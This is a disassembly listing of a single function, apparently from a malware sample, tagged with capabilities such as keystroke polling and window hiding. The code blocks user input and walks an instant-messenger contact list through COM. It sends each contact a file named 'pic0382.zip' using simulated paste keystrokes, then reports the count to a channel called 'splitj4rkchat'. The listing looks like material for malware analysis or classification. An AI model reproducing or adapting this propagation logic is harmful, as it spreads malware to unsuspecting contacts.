Function at 0x41759f
Capabilities:
Check for time delay via gettickcount
Get common file path
Hide graphical window
Log keystrokes via polling

Disassembly:
mov eax, 0x43c22c
call fcn.00423ee0
sub esp, 0x36c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0041eb10
pop ecx
push 0x446068
call fcn.00417260
pop ecx
mov eax, dword [eax*4 + 0x446068]
mov dword [ebp - 0x128], eax
mov esi, str.pic0382.zip
lea edi, [ebp - 0x124]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x44610c
lea eax, [ebp - 0x110]
push eax
call fcn.00420140
pop ecx
pop ecx
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00420140
pop ecx
pop ecx
and dword [ebp - 0x114], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x114]
push eax
push 0x43d828
push 0x17
push 0
push 0x43d768
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x417b04
and dword [ebp - 0x12c], 0
lea eax, [ebp - 0x12c]
push eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
push dword [ebp - 0x114]
call dword [eax + 0x68]
cmp dword [ebp - 0x118], 0
jl 0x417af3
and dword [ebp - 0x130], 0
lea eax, [ebp - 0x130]
push eax
push 0x446168
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
push dword [ebp - 0x12c]
call dword [eax]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x417af3
and dword [ebp - 0x138], 0
and dword [ebp - 0x13c], 0
lea eax, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
push dword [ebp - 0x130]
call dword [eax + 0x1c]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x417ae2
push 1
call sub.USER32.dll_BlockInput
and dword [ebp - 0x1c0], 0
and dword [ebp - 0x1c4], 0
jmp 0x41771a
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c4]
cmp eax, dword [ebp - 0x134]
jge 0x417a95
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
push dword [ebp - 0x130]
call dword [eax + 0x20]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x417a90
lea eax, [ebp - 0x13c]
push eax
push 0x446158
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
push dword [ebp - 0x138]
call dword [eax]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x417a90
and dword [ebp - 0x358], 0
lea eax, [ebp - 0x350]
push eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
push dword [ebp - 0x13c]
call dword [eax + 0x20]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x4177ea
cmp dword [ebp - 0x350], 1
jne 0x4177ea
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
push dword [ebp - 0x13c]
call dword [eax + 8]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
push dword [ebp - 0x138]
call dword [eax + 8]
jmp 0x41770d
lea eax, [ebp - 0x35c]
push eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
push dword [ebp - 0x13c]
call dword [eax + 0x24]
lea eax, [ebp - 0x374]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x374]
push eax
push dword [ebp - 0x35c]
call fcn.00417b18
pop ecx
pop ecx
push dword [ebp - 0x35c]
lea ecx, [ebp - 0x354]
call fcn.00417dda
and dword [ebp - 4], 0
lea ecx, [ebp - 0x354]
call fcn.00417e48
push eax
push 0x446110
lea eax, [ebp - 0x348]
push eax
call fcn.0041ee40
add esp, 0xc
push 0x40
lea eax, [ebp - 0x348]
push eax
call fcn.00420230
pop ecx
pop ecx
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0
je 0x41788d
mov eax, dword [ebp - 0x360]
lea ecx, [ebp - 0x348]
sub eax, ecx
and byte [ebp + eax - 0x348], 0
push 0x446114
lea eax, [ebp - 0x348]
push eax
call fcn.00420140
pop ecx
pop ecx
push 0x104
lea eax, [ebp - 0x2c8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x2c8]
push eax
call fcn.0041e0b4
add esp, 0xc
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x358]
push eax
sub esp, 0x10
lea esi, [ebp - 0x374]
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
push dword [ebp - 0x114]
call dword [eax + 0x54]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x417a5f
lea eax, [ebp - 0x364]
push eax
push 0x43d7e8
mov eax, dword [ebp - 0x358]
mov eax, dword [eax]
push dword [ebp - 0x358]
call dword [eax]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x417a4e
lea eax, [ebp - 0x34c]
push eax
mov eax, dword [ebp - 0x364]
mov eax, dword [eax]
push dword [ebp - 0x364]
call dword [eax + 0x20]
push dword [ebp - 0x34c]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push dword [ebp - 0x34c]
call dword [sym.imp.USER32.dll_SetFocus]
push 0
push dword [ebp - 0x34c]
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0041eb10
pop ecx
call fcn.0041eb20
xor edx, edx
push 4
pop ecx
div ecx
mov dword [ebp - 0x378], edx
push dword [ebp - 0x34c]
push dword [ebp - 0x128]
call fcn.00417364
pop ecx
pop ecx
push 0
push 1
push 0
push 0x11
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x56
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 3
push 0x2d
push 0x11
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0xd
call dword [sym.imp.USER32.dll_keybd_event]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x348]
push eax
push dword [ebp - 0x34c]
call fcn.004173c6
pop ecx
pop ecx
push 0
push 1
push 0
push 0x11
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x56
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
push 0
push 3
push 0x2d
push 0x11
call dword [sym.imp.USER32.dll_keybd_event]
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
mov eax, dword [ebp - 0x364]
mov eax, dword [eax]
push dword [ebp - 0x364]
call dword [eax + 8]
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
push dword [ebp - 0x13c]
call dword [eax + 8]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
push dword [ebp - 0x138]
call dword [eax + 8]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x354]
call fcn.00417c71
jmp 0x41770d
push 0
call sub.USER32.dll_BlockInput
push dword [ebp - 0x1c0]
push str.Message_has_been_sent_to__d_contacts_
lea eax, [ebp - 0x1bc]
push eax
call fcn.0041ee40
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x1bc]
push eax
push str.splitj4rkchat
push dword [ebp + 8]
call fcn.0040bf6c
add esp, 0x14
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
push dword [ebp - 0x130]
call dword [eax + 8]
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
push dword [ebp - 0x12c]
call dword [eax + 8]
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
push dword [ebp - 0x114]
call dword [eax + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
leave
ret